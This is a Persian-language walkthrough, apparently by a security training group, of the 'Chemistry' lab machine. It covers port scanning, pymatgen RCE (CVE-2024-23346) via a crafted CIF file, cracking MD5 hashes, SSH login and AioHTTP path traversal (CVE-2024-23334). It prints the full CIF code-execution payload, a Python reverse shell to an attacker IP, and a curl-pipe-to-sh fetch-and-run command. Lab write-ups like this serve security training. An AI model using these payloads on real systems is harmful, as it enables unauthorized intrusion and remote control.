
ماشین لینوکسی شیمی یک سیستم با سطح دشواری آسان است که دارای آسیبپذیری اجرای کد از راه دور (RCE) در کتابخانه پایتون pymatgen (CVE-2024-23346) میباشد. این آسیبپذیری از طریق بارگذاری یک فایل CIF مخرب در وبسایت قابل بهرهبرداری است. پس از شکستن هشها، با استفاده از SSH به عنوان کاربر rosa به سیستم وارد میشویم. برای افزایش سطح دسترسی، از یک آسیبپذیری پیمایش مسیر (Path Traversal) در کتابخانه پایتون AioHTTP (CVE-2024-23334) استفاده میکنیم که امکان خواندن دلخواه فایلها را فراهم میکند.
در این بخش با اجرا دستور زیر درگاه های باز سیستم مجازی آسیب پذیر با استخراج می نماییم .
nmap -sC -vv -oA nmap/chemistry 10.10.11.38
این دستور تمامی پورتهای باز سیستم هدف را شناسایی میکند و به ما کمک میکند تا نقاط ورودی احتمالی را برای بهرهبرداری مشخص کنیم.
-sC
اجرای اسکریپتهای پیشفرض Nmap (مانند شناسایی نسخهها، اطلاعات اضافی سرویسها و تستهای امنیتی اولیه).
-vv
فعال کردن حالت verbose دوبرابر، یعنی نمایش جزئیات بیشتر در طول فرآیند اسکن.
-oA nmap/chemistry
ذخیره نتایج اسکن در سه فرمت مختلف (normal, XML و grepable) با پیشوند chemistry در پوشه nmap فایلها به صورت chemistry .nmap، chemistry .xml و chemistry .gnmap ذخیره میشوند.

مشاهده صفحه اول سرویس دهنده CIF
در این بخش با درج آدرس شبکه ماشین مجازی آسیب پذیر به آدرس 10.10.11.38 (اختصاصی) در مرورگر خود می توان صفحه اول سایت سرویس دهی شده برروی درگاه http مشاهده کرد .

در این صفحه دو گزینه انتخابی به عنوان login و register موجود است .

در این صفحه این امکان هست که فایل CIF برای آنالیز بارگزاری نماییم . همین طور که قابل مشاهده است قابلیت دانلود فایل از لینک بالا صفحه میسر است .

تذکر : قابلیت های بارگزاری فایل یکی از بخش های آسیب پذیری مربوط به RCE میتواند باشد در بعضی از موارد نیز قابلیت دانلود بعد از آپلوید در حملات SSRF امکان پذیر است .

در این مرحله با استفاده از نرم افزار exiftool مقدار های metadata موجود در فایل را مشاهده می نماییم.
حالا با بررسی ساختار فایل cif می توانیم کار دیگری انجام دهیم در این روش با جستجو در اینترنت با عبارت cif exploit github متوجه وجود مقاله ای در زمینه poc در فایل های cif می شویم . در این مقاله نمونه کد آسیب پذیری اثبات poc برای ما قرار داده شده است .
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("touch pwned");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "


همان طور که قابل مشاهده است می توانیم از طریق شل کد ping ماشین مجازی آسیب پذیر به سیستم خود پروتکل icmp ارسال نمایید .
در اولین قدم اقدام به ایجاد شل کد برای اجرا در ماشین مجازی آسیب پذیر می نماییم .

بعد از اجرا این فایل به دلیل مشکل در عدم اجرا درست دستور bash نیاز به بازبینی و اجرا روش های دیگر برای اجرای دستور می باشد .
اجرا دستوری شل به صورت Base64 : استفاده از دستور Base64 برای تبدیل کد مخرب اتصال به ماشین مجازی آسیب پذیر به واسطه nc

استفاده از شل معکوس :
قدم اول بررسی دسترسی سرور آلوده به بیرون از شبکه : استفاده از دستورcurl برای دسترسی به فایل خارجی و دانلود برروی ماشین مجاری آسیب پذیر از روی سیستم مهاجم

قدم دوم استفاده از سرویس nc برای ارسال فایل مخرب به سیستم هدف برای اجرای شل معکوس

قابلیت دانلود فایل از روی سیستم مهاجم برروی ماشین مجازی آسیب پذیر

استفاده از کد شل پایتون برای اجرای راحت و ایجاد شل معکوس برروی ماشین مجازی آسیب پذیری

python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.8",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
متصل شدن معکوس به ماشین مجازی آسیب پذیر به واسطه کد پایتون و nc

اتصال به شل سیستم به منظور فعالسازی قابلیتهای سیستم، از جمله کلیدهای میانبر ترمینال لینوکس و سایر امکانات پیشرفته، انجام میشود.

در تصویر بالا، چند روش برای دور زدن محدودیتهای اجرای دستورات شل و کد بر روی ماشین مجازی آسیبپذیر قابل مشاهده است.

در این بخش، فرمان شل در فایل CIF قرار داده شده است. به دلیل محدودیتهای موجود در دستورات کد، نیاز به تغییر در ساختار آن برای اجرای صحیح و دسترسی به شل سیستم داریم. این تغییرات ممکن است شامل اصلاح فرمت فایل CIF، تغییر نحوه بارگذاری یا اجرای کد، و یا بهرهبرداری از آسیبپذیریهای موجود برای اجرای دستورات شل به شکلی متفاوت از حالت معمول باشد.
curl http://10.10.14.8:8000/pm 2>dev/shm/error | sh 2>dev/shm/error2

برای توسعه بخش ترمینال پس از ورود به آن، میتوانیم از کد زیر برای بهبود قابلیتهای ترمینال استفاده کنیم:
python3 -c 'import pty; pty.spawn("/bin/bash")'
stty raw -echo; fg
export TERM=xterm
این کد به شرح زیر عمل میکند:
export TERM=xterm:
این دستور تنظیمات ترمینال را بهگونهای تغییر میدهد که پشتیبانی از رنگها و قابلیتهای پیشرفته در ترمینال فعال شود.
این تغییرات کمک میکنند تا محیط ترمینال کاربرپسندتر شده و قابلیتهای آن برای اجرای دستورات پیچیدهتر یا مشاهده خروجیهای بزرگتر فراهم شود.

در خروجی این دستورات، local address:port سرویس وب بر روی 127.0.0.1:8080 است که نشان میدهد سرویس به آدرس 127.0.0.1 و پورت 8080 گوش میدهد. این بدان معناست که سرویس تنها به درخواستهایی که از همان ماشین ارسال میشود پاسخ میدهد، بنابراین امکان اتصال به این سرویس از طریق دستور curl 127.0.0.1:8080 بهطور مستقیم میسر نیست.
با توجه به این محدودیت، نیاز است فایل اجرایی مرتبط با سرویس را پیدا کنیم. اما قبل از این اقدام، برای بررسی وضعیت دسترسیها و اطمینان از وجود محدودیتهای احتمالی در ارتباطات شبکهای، جداول دیوار آتش (Firewall) را بررسی میکنیم. در این بررسی مشخص میشود که دسترسی به تنظیمات دیوار آتش و iptables وجود ندارد.

sqlite3 database.db .dump
در بررسیهای انجام شده، پس از مشاهده نام کاربری و رمز عبور، نیاز است که رمز عبور را با استفاده از نرمافزار Hashcat دیکد کنیم. برای این کار ابتدا باید مطمئن شویم که فرمت هش رمز عبور چیست، سپس از Hashcat برای شکستن آن استفاده خواهیم کرد.


مرحله اول: شناسایی فرمت هش رمز عبور
ابتدا باید فرمت هش رمز عبور را شناسایی کنیم (مثل MD5، SHA-1، bcrypt و غیره). این اطلاعات معمولاً در فایلهایی که شامل هشها هستند، مشخص میشود یا میتوان از آن بهطور غیرمستقیم با توجه به طول هش یا فرمت آن پی برد.
تذکر : برای فهمیدن ساختار رمزنگاری داده ها به فایل app.py داخل پوشه ماشین مجازی می رویم و در بخش ساختار ورود نوع الگوریتم رمز نگاری را مشاهده می نماییم .
مرحله دوم: استخراج هش رمز عبور
اگر هش رمز عبور را از فایل پیدا کردهایم، آن را استخراج کرده و در فایلی مانند hashes.txt ذخیره میکنیم.
مرحله سوم: دیکد کردن هش با استفاده از Hashcat
پس از استخراج هش، از نرمافزار Hashcat برای دیکد کردن آن استفاده میکنیم. دستور زیر یک مثال است که میتواند برای دیکد کردن هشهای MD5 استفاده شود:
hashcat -m 0 -a 0 hashes.txt /path/to/wordlist.txt
-m 0: مشخص کننده فرمت هش (در اینجا MD5).-a 0: مشخص کننده حالت حمله (حالت حمله بر اساس دیکشنری).hashes.txt: فایلی که هشهای رمز عبور در آن ذخیره شده است./path/to/wordlist.txt: مسیر به فایل دیکشنری که در آن کلمات عبور ممکن ذخیره شدهاند.
بعد از رمزگشایی ساختار md5 رمز عبور ها نام کاربری ورمز عبور به شرح ذیل می باشد .

در این مرحله نیاز است به نام کاربری هایی که دارای دسترسی shell برروی ماشین مجازی آسیب پذیری است دسترسی پیدا نماییم .

با استفاده از نام کاربری rosa و رمز عبور به ssh ماشین مجازی آسیب پذیر متصل می شویم.

در این مرحله با دسترسی rosa میتوانیم به سرویس 8080 دسترسی داشته باشیم .

یکی از مهمترین کاربرد های دستور forward استفاده از دستورات سیستم داخلی و قابل اجرا در ماشین مجازی آسیب پذیر می باشد .


ps: ابزاری برای نمایش اطلاعات مربوط به فرآیندهای در حال اجرا در سیستم.
-e: تمام فرآیندها (به جز فرآیندهای هسته) را انتخاب می کند.-f: فرمت خروجی کامل را نمایش می دهد (شامل UID، PID، PPID، C، STIME، TTY، TIME و CMD).--forest: خروجی را به صورت درختی نمایش می دهد، به طوری که رابطه بین فرآیندهای والد و فرزند به وضوح نشان داده می شود.
با اجرای دستور بالا و مشاهده هدر درخواستها، متوجه میشویم که سرور استفاده شده در سرویسدهی درگاه 8080، AioHTTP نسخه 3.9.1 است. این اطلاعات معمولاً در هدرهای پاسخ HTTP قابل مشاهده است و میتواند به شما در شناسایی نوع سرور و نسخه آن کمک کند.
در بررسی های انجام شده در موتور جستجو گوگل برروی آسیب پذیری سرویس دهنده وب اقدام به اجرای آسیب پذیری برروی ماشین مجازی آسیب پذیر می نماییم .
در آسیب پذیری اجرایی شده قابلیت اجرای آسیب پذیری Directory Traversal در سرویس دهنده میسر می باشد .





نویسنده : آکادمیک ای سایبر